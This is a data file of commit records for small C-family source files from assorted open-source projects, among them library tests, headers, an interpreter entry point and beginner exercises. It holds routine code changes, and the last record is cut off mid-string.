{"commit":"06586a6203551b57e8e527a25d80d36458fe0051","old_file":"src\/tests\/eina_test_main.c","new_file":"src\/tests\/eina_test_main.c","old_contents":"\/* EINA - EFL data type library\n * Copyright (C) 2008 Cedric Bail\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library;\n * if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Eina.h\"\n#include \"eina_suite.h\"\n\nSTART_TEST(eina_simple)\n{\n   fail_if(!eina_init());\n   fail_if(eina_shutdown() != 0);\n}\nEND_TEST\n\nvoid eina_test_main(TCase *tc)\n{\n   tcase_add_test(tc, eina_simple);\n}\n","new_contents":"\/* EINA - EFL data type library\n * Copyright (C) 2008 Cedric Bail\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library;\n * if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"Eina.h\"\n#include \"eina_suite.h\"\n\n#include <stdio.h>\nSTART_TEST(eina_simple)\n{\n   \/* Eina_error as already been initialized by eina_hash\n      that was called by eina_mempool_init that's why we don't have 0 here *\/\n   fail_if(eina_init() != 2);\n   fail_if(eina_shutdown() != 1);\n}\nEND_TEST\n\nvoid eina_test_main(TCase *tc)\n{\n   tcase_add_test(tc, eina_simple);\n}\n","subject":"Fix test due to mempool internal change.","message":"Fix test due to mempool internal change.\n\n\nSVN revision: 36223\n","lang":"C","license":"lgpl-2.1","repos":"gfriloux\/eina,gfriloux\/eina,turran\/eina,gfriloux\/eina,turran\/eina,turran\/eina"}
{"commit":"472c45932c0dbf733866a163c332cf546372ad84","old_file":"src\/Core\/Exceptions\/Exception.h","new_file":"src\/Core\/Exceptions\/Exception.h","old_contents":"#pragma once\n#include <exception>\n#include <string>\n\nnamespace core {\n\n\tclass Exception :\n\t\tpublic std::exception\n\t{\n\tpublic:\n\t\tException();\n\t\tvirtual ~Exception();\n\n\t\tvirtual char const * what() const override;\n\n\tprotected:\n\t\tvoid setMessage(const std::string& message);\n\tprivate:\n\t\tstd::string _message;\n\t};\n\n}","new_contents":"#pragma once\n#include <exception>\n#include <string>\n\nnamespace core {\n\n\tclass Exception :\n\t\tpublic std::exception\n\t{\n\tpublic:\n\t\tException();\n\t\tvirtual ~Exception();\n\n\t\tvirtual char const * what() const  throw() override;\n\n\tprotected:\n\t\tvoid setMessage(const std::string& message);\n\tprivate:\n\t\tstd::string _message;\n\t};\n\n}","subject":"Add throw to what() function for linux compile","message":"Add throw to what() function for linux compile\n\n","lang":"C","license":"mit","repos":"aphilippe\/AppLauncher,aphilippe\/ClappLauncher,aphilippe\/AppLauncher,aphilippe\/AppLauncher,aphilippe\/ClappLauncher,aphilippe\/ClappLauncher"}
{"commit":"682e9119abc404a15c8304567819ed8f81ee27ab","old_file":"bikepath\/SearchItem.h","new_file":"bikepath\/SearchItem.h","old_contents":"\/\/\n\/\/  SearchItem.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/15\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface SearchItem : NSObject\n\n@end\n","new_contents":"\/\/\n\/\/  SearchItem.h\n\/\/  bikepath\n\/\/\n\/\/  Created by Farheen Malik on 8\/15\/14.\n\/\/  Copyright (c) 2014 Bike Path. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n\n@interface SearchItem : NSObject\n\n@property NSString *searchQuery;\n@property (readonly) NSDate *creationDate;\n\n@end\n","subject":"Add property for search item object","message":"Add property for search item object\n","lang":"C","license":"apache-2.0","repos":"red-spotted-newts-2014\/bike-path,hushifei\/bike-path,red-spotted-newts-2014\/bike-path"}
{"commit":"bb7e7b91b9d422d5fe2bb0483d0413c2e01c2679","old_file":"solutions\/uri\/1015\/1015.c","new_file":"solutions\/uri\/1015\/1015.c","old_contents":"","new_contents":"#include <math.h>\n#include <stdio.h>\n\nint main() {\n    float x1, y1, x2, y2;\n\n    scanf(\"%f %f\", &x1, &y1);\n    scanf(\"%f %f\", &x2, &y2);\n\n    printf(\"%.4f\\n\", sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1)));\n}\n","subject":"Solve Distance Between Two Points in c","message":"Solve Distance Between Two Points in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"cdef9ee855294e1a51f059dec548ab21425f4daf","old_file":"ash\/wm\/window_selector_delegate.h","new_file":"ash\/wm\/window_selector_delegate.h","old_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ASH_WM_WINDOW_SELECTOR_DELEGATE_H_\n#define ASH_WM_WINDOW_SELECTOR_DELEGATE_H_\n\n#include \"base\/compiler_specific.h\"\n\nnamespace aura {\nclass Window;\n}\n\nnamespace ash {\n\n\/\/ Implement this class to handle the selection event from WindowSelector.\nclass WindowSelectorDelegate {\n public:\n  \/\/ Invoked when a window is selected.\n  virtual void OnWindowSelected(aura::Window* window) = 0;\n\n  \/\/ Invoked if selection is canceled.\n  virtual void OnSelectionCanceled() = 0;\n\n protected:\n  virtual ~WindowSelectorDelegate() {}\n};\n\n}  \/\/ namespace ash\n\n#endif  \/\/ ASH_WM_WINDOW_SELECTOR_DELEGATE_H_\n","new_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef ASH_WM_WINDOW_SELECTOR_DELEGATE_H_\n#define ASH_WM_WINDOW_SELECTOR_DELEGATE_H_\n\n#include \"ash\/ash_export.h\"\n#include \"base\/compiler_specific.h\"\n\nnamespace aura {\nclass Window;\n}\n\nnamespace ash {\n\n\/\/ Implement this class to handle the selection event from WindowSelector.\nclass ASH_EXPORT WindowSelectorDelegate {\n public:\n  \/\/ Invoked when a window is selected.\n  virtual void OnWindowSelected(aura::Window* window) = 0;\n\n  \/\/ Invoked if selection is canceled.\n  virtual void OnSelectionCanceled() = 0;\n\n protected:\n  virtual ~WindowSelectorDelegate() {}\n};\n\n}  \/\/ namespace ash\n\n#endif  \/\/ ASH_WM_WINDOW_SELECTOR_DELEGATE_H_\n","subject":"Add ASH_EXPORT to base class of exported WindowSelectorController.","message":"Add ASH_EXPORT to base class of exported WindowSelectorController.\n\nTBR=pkotwicz@chromium.org\n\nBUG=263477\nTEST=Win Aura Builder compiles.\n\nReview URL: https:\/\/codereview.chromium.org\/21527003\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@215043 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"patrickm\/chromium.src,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,anirudhSK\/chromium,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,anirudhSK\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,ondra-novak\/chromium.src,Fireblend\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,ondra-novak\/chromium.src,anirudhSK\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,markYoungH\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,ChromiumWebApps\/chromium,markYoungH\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,ChromiumWebApps\/chromium,Chilledheart\/chromium,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,chuan9\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,Chilledheart\/chromium,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,ltilve\/chromium,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,ondra-novak\/chromium.src,M4sse\/chromium.src,Chilledheart\/chromium,dushu1203\/chromium.src,markYoungH\/chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,hgl888\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,Jonekee\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,littlstar\/chromium.src,ltilve\/chromium,anirudhSK\/chromium,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Just-D\/chromium-1,ltilve\/chromium,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk,patrickm\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,Chilledheart\/chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,axinging\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,patrickm\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,markYoungH\/chromium.src,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,Chilledheart\/chromium,ltilve\/chromium,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Chilledheart\/chromium,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1"}
{"commit":"4446de2c5a3f327eb1780dead5970ad4fa4bc5f0","old_file":"test\/CodeGen\/2007-06-18-SextAttrAggregate.c","new_file":"test\/CodeGen\/2007-06-18-SextAttrAggregate.c","old_contents":"\/\/ RUN: %clang_cc1 %s -o - -emit-llvm | FileCheck %s\n\/\/ XFAIL: aarch64, arm64, x86_64-pc-win32, x86_64-w64-mingw32\n\n\/\/ PR1513\n\n\/\/ AArch64 ABI actually requires the reverse of what this is testing: the callee\n\/\/ does any extensions and remaining bits are unspecified.\n\n\/\/ Win64 ABI does expect extensions for type smaller than 64bits.\n\n\/\/ Technically this test wasn't written to test that feature, but it's a\n\/\/ valuable check nevertheless.\n\nstruct s{\nlong a;\nlong b;\n};\n\nvoid f(struct s a, char *b, signed char C) {\n  \/\/ CHECK: i8 signext\n\n}\n","new_contents":"\/\/ RUN: %clang_cc1 %s -o - -emit-llvm | FileCheck %s\n\/\/ XFAIL: aarch64, arm64, x86_64-pc-win32, x86_64-w64-mingw32, x86_64-pc-windows-gnu\n\n\/\/ PR1513\n\n\/\/ AArch64 ABI actually requires the reverse of what this is testing: the callee\n\/\/ does any extensions and remaining bits are unspecified.\n\n\/\/ Win64 ABI does expect extensions for type smaller than 64bits.\n\n\/\/ Technically this test wasn't written to test that feature, but it's a\n\/\/ valuable check nevertheless.\n\nstruct s{\nlong a;\nlong b;\n};\n\nvoid f(struct s a, char *b, signed char C) {\n  \/\/ CHECK: i8 signext\n\n}\n","subject":"Add expected fail triple x86_64-pc-windows-gnu to test as x86_64-w64-mingw32 is already there","message":"Add expected fail triple x86_64-pc-windows-gnu to test as x86_64-w64-mingw32 is already there\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@336047 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"5ea75f8b3388bc929fb980637b458ee629eaed39","old_file":"include\/seec\/Transforms\/BreakConstantGEPs\/BreakConstantGEPs.h","new_file":"include\/seec\/Transforms\/BreakConstantGEPs\/BreakConstantGEPs.h","old_contents":"\/\/===- BreakConstantGEPs.h - Change constant GEPs into GEP instructions --- --\/\/\n\/\/ \n\/\/                          The SAFECode Compiler \n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass changes all GEP constant expressions into GEP instructions.  This\n\/\/ permits the rest of SAFECode to put run-time checks on them if necessary.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef BREAKCONSTANTGEPS_H\n#define BREAKCONSTANTGEPS_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/IR\/Dominators.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/Pass.h\"\n\nnamespace llvm {\n\n\/\/\n\/\/ Pass: BreakConstantGEPs\n\/\/\n\/\/ Description:\n\/\/  This pass modifies a function so that it uses GEP instructions instead of\n\/\/  GEP constant expressions.\n\/\/\nstruct BreakConstantGEPs : public FunctionPass {\n  private:\n    \/\/ Private methods\n\n    \/\/ Private variables\n\n  public:\n    static char ID;\n    BreakConstantGEPs() : FunctionPass(ID) {}\n    StringRef getPassName() const override {\n      return \"Remove Constant GEP Expressions\";\n    }\n    virtual bool runOnFunction (Function & F);\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n      \/\/ This pass does not modify the control-flow graph of the function\n      AU.setPreservesCFG();\n    }\n};\n\n} \/\/ namespace llvm\n\n#endif\n","new_contents":"\/\/===- BreakConstantGEPs.h - Change constant GEPs into GEP instructions --- --\/\/\n\/\/ \n\/\/                          The SAFECode Compiler \n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This pass changes all GEP constant expressions into GEP instructions.  This\n\/\/ permits the rest of SAFECode to put run-time checks on them if necessary.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef BREAKCONSTANTGEPS_H\n#define BREAKCONSTANTGEPS_H\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \"llvm\/IR\/Dominators.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/Pass.h\"\n\nnamespace llvm {\n\n\/\/\n\/\/ Pass: BreakConstantGEPs\n\/\/\n\/\/ Description:\n\/\/  This pass modifies a function so that it uses GEP instructions instead of\n\/\/  GEP constant expressions.\n\/\/\nstruct BreakConstantGEPs : public FunctionPass {\n  private:\n    \/\/ Private methods\n\n    \/\/ Private variables\n\n  public:\n    static char ID;\n    BreakConstantGEPs() : FunctionPass(ID) {}\n    StringRef getPassName() const override {\n      return \"Remove Constant GEP Expressions\";\n    }\n    virtual bool runOnFunction (Function & F) override;\n    virtual void getAnalysisUsage(AnalysisUsage &AU) const override {\n      \/\/ This pass does not modify the control-flow graph of the function\n      AU.setPreservesCFG();\n    }\n};\n\n} \/\/ namespace llvm\n\n#endif\n","subject":"Correct inconsistent use of override.","message":"Correct inconsistent use of override.\n","lang":"C","license":"mit","repos":"seec-team\/seec,seec-team\/seec,seec-team\/seec,mheinsen\/seec,mheinsen\/seec,mheinsen\/seec,mheinsen\/seec,seec-team\/seec,seec-team\/seec,mheinsen\/seec"}
{"commit":"76da6746559ec2b160a1443a5bffaaeca2f0c7c2","old_file":"src\/common\/phys_mem_addr.h","new_file":"src\/common\/phys_mem_addr.h","old_contents":"#ifndef GST_IMX_COMMON_PHYS_MEM_ADDR_H\n#define GST_IMX_COMMON_PHYS_MEM_ADDR_H\n\n\n#define GST_IMX_PHYS_ADDR_FORMAT \"lx\"\n\ntypedef unsigned long gst_imx_phys_addr_t;\n\n\n#endif\n","new_contents":"#ifndef GST_IMX_COMMON_PHYS_MEM_ADDR_H\n#define GST_IMX_COMMON_PHYS_MEM_ADDR_H\n\n\n#define GST_IMX_PHYS_ADDR_FORMAT \"#lx\"\n\ntypedef unsigned long gst_imx_phys_addr_t;\n\n\n#endif\n","subject":"Add 0x prefix to phys mem addr printf conversion specifier","message":"common: Add 0x prefix to phys mem addr printf conversion specifier\n\nSigned-off-by: Carlos Rafael Giani <d7d2e6b3863b2910d2ca34828bc651c85d88df6f@pseudoterminal.org>\n","lang":"C","license":"lgpl-2.1","repos":"Josuercuevas\/gstreamer-imx,commshare\/gstreamer-imx,Josuercuevas\/gstreamer-imx,commshare\/gstreamer-imx"}
{"commit":"d4f93813a98363ec5519ae1ebeeba7d9e55154ac","old_file":"main.c","new_file":"main.c","old_contents":"\/\/ This is the actual main program\n\nint\nmain(int argc, const char *argv[])\n{\n}\n","new_contents":"\/\/ This is the actual main program\n\n#include \"lorito.h\"\n#include \"microcode.h\"\n#include \"interp.h\"\n#include \"loader.h\"\n\nint\nmain(int argc, const char *argv[])\n{\n  int i;\n  Lorito_Interp *interp;\n\n  if (argc < 2)\n  {\n    fprintf(stderr, \"Usage: lorito <bytecodefiles>\\n\");\n    return 255;\n  }\n\n  interp = lorito_init();\n\n  for (i = 1; i < argc; i++)\n  {\n    loadbc(interp, argv[i]);\n  }\n\n  return lorito_run(interp);\n}\n","subject":"Add all the glue together to have an interpreter actually run.","message":"Add all the glue together to have an interpreter actually run.\n","lang":"C","license":"artistic-2.0","repos":"atrodo\/lorito,atrodo\/lorito"}
{"commit":"e9b5d3e4c0d690b50cc9a04b2aaec37381e22854","old_file":"alura\/c\/forca.c","new_file":"alura\/c\/forca.c","old_contents":"#include <stdio.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  printf(\"%s\\n\", palavrasecreta);\n\n  \/*\n  palavrasecreta[0] = 'M';\n  palavrasecreta[1] = 'E';\n  palavrasecreta[2] = 'L';\n  palavrasecreta[3] = 'A';\n  palavrasecreta[4] = 'N';\n  palavrasecreta[5] = 'C';\n  palavrasecreta[6] = 'I';\n  palavrasecreta[7] = 'A';\n  palavrasecreta[8] = '\\0';\n\n  printf(\"%c%c%c%c%c%c%c%c\\n\", palavrasecreta[0], palavrasecreta[1], palavrasecreta[2], palavrasecreta[3], palavrasecreta[4], palavrasecreta[5], palavrasecreta[6], palavrasecreta[7]);\n  *\/\n}\n","new_contents":"#include <stdio.h>\n\nint main() {\n  char palavrasecreta[20];\n\n  sprintf(palavrasecreta, \"MELANCIA\");\n\n  int acertou = 0;\n  int enforcou = 0;\n\n  do {\n    \/\/ comecar o nosso jogo!!\n\n  } while(!acertou && !enforcou);\n\n}\n","subject":"Update files, Alura, Introdução a C - Parte 2, Aula 2.3","message":"Update files, Alura, Introdução a C - Parte 2, Aula 2.3\n","lang":"C","license":"mit","repos":"fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs,fabriciofmsilva\/labs"}
{"commit":"ec647d24eb10e22e3f54acc0e22c9a9b91a2b6f7","old_file":"cc1\/tests\/test008.c","new_file":"cc1\/tests\/test008.c","old_contents":"","new_contents":"\/*\nname: TEST008\ndescription: Basic do while loop\noutput:\nF1\nG1\tF1\tmain\n{\n-\nA2\tI\tx\n\tA2\t#I0\t:I\n\td\nL3\n\tA2\tA2\t#I1\t+I\t:I\n\tj\tL3\tA2\t#IA\t<I\n\tb\nL4\n\td\nL5\n\tA2\tA2\t#I1\t+I\t:I\n\tj\tL5\tA2\t#I14\t<I\n\tb\nL6\n\tyI\tA2\t#I14\t-I\n}\n*\/\n\nint \nmain()\n{\n\tint x;\n\t\n\tx = 0;\n\tdo \n\t  x = x + 1;\n\twhile(x < 10);\n\t\n\tdo {\n\t  x = x + 1;\n\t} while(x < 20);\n\t\n\treturn x - 20;\n}\n\n","subject":"Add basic test for do while statements","message":"Add basic test for do while statements\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc"}
{"commit":"a714c4de411c309937f64b47cc6cddca00bd8cf2","old_file":"example\/log_example.c","new_file":"example\/log_example.c","old_contents":"\/\/ cc log_example.c log.c -rdynamic\n\n#include \"log.h\"\n\nchar\nmake_segmentfault()\n{\n    char *s = NULL;\n    char ch = s[1]; \/\/ segment fault\n    return ch;\n}\n\nint main(int argc, const char *argv[])\n{\n    \/* open global logger to stderr (by setting filename to NULL) *\/\n    log_open(\"example\", NULL, 0);\n    \/* set log level to info, also the default level *\/\n    log_setlevel(LOG_INFO);\n    \/* debug mesage won't be seen *\/\n    log_debug(\"debug message\");\n    \/* but info and warn, error message can be seen *\/\n    log_info(\"info message\");\n    log_warn(\"warn message\");\n    log_error(\"error message\");\n    \/* will log trace back on segmentfault automatically *\/\n    make_segmentfault();\n    return 0;\n}\n","new_contents":"\/\/ cc log_example.c log.c -rdynamic\n\n#include \"log.h\"\n\nchar\nmake_segmentfault()\n{\n    char *s = NULL;\n    char ch = s[1]; \/\/ segment fault\n    return ch;\n}\n\nint main(int argc, const char *argv[])\n{\n    \/* open global logger to stderr (by setting filename to NULL) *\/\n    log_open(\"example\", NULL, 0);\n    \/* set log level to info, also the default level *\/\n    log_setlevel(LOG_INFO);\n    \/* debug mesage won't be seen *\/\n    log_debug(\"debug message\");\n    \/* but info and warn, error message can be seen *\/\n    log_info(\"info message\");\n    log_warn(\"warn message\");\n    log_error(\"error message: %s\", \"someting wrong\");\n    \/* will log trace back on segmentfault automatically *\/\n    make_segmentfault();\n    return 0;\n}\n","subject":"Add example for log with formatting args","message":"Add example for log with formatting args\n","lang":"C","license":"bsd-2-clause","repos":"hit9\/C-Snip,hit9\/C-Snip"}
{"commit":"abe29dda2ea228193d992dd4bb14aa475f717a41","old_file":"thingc\/execution\/Opcode.h","new_file":"thingc\/execution\/Opcode.h","old_contents":"#pragma once\n\nenum class Opcode {\n\tINVALID = 0,\n\tNOP = 1,\n\t\n\tPUSH = 2,\n\tPUSH_STATIC = 3,\n\tPOP = 4,\n\tSET = 5,\n\t\n\tCALL = 6,\n\tCALL_METHOD = 7,\n\tCALL_INTERNAL = 8,\n\tRETURN = 9,\n\n\tPRINT = 10,\n\n    METHOD_END = 11\n};\n\n","new_contents":"#pragma once\n\nenum class Opcode {\n\tINVALID = 0,\n\tNOP = 1,\n\t\n\tPUSH = 2, \/\/ pushes a reference into the stack\n\tPUSH_STATIC = 3, \/\/ pushes static data into the stack\n\tPOP = 4, \/\/ pop anything to void\n\n\tSET = 5, \/\/ pop a reference from the stack and assign it\n\tSET_STATIC = 6, \/\/ set a reference to static data\n\n\tCALL = 7,\n\tCALL_METHOD = 8,\n\tCALL_INTERNAL = 9,\n\tRETURN = 10,\n\n\tPRINT = 11,\n\n    METHOD_END = 12\n};\n","subject":"Add 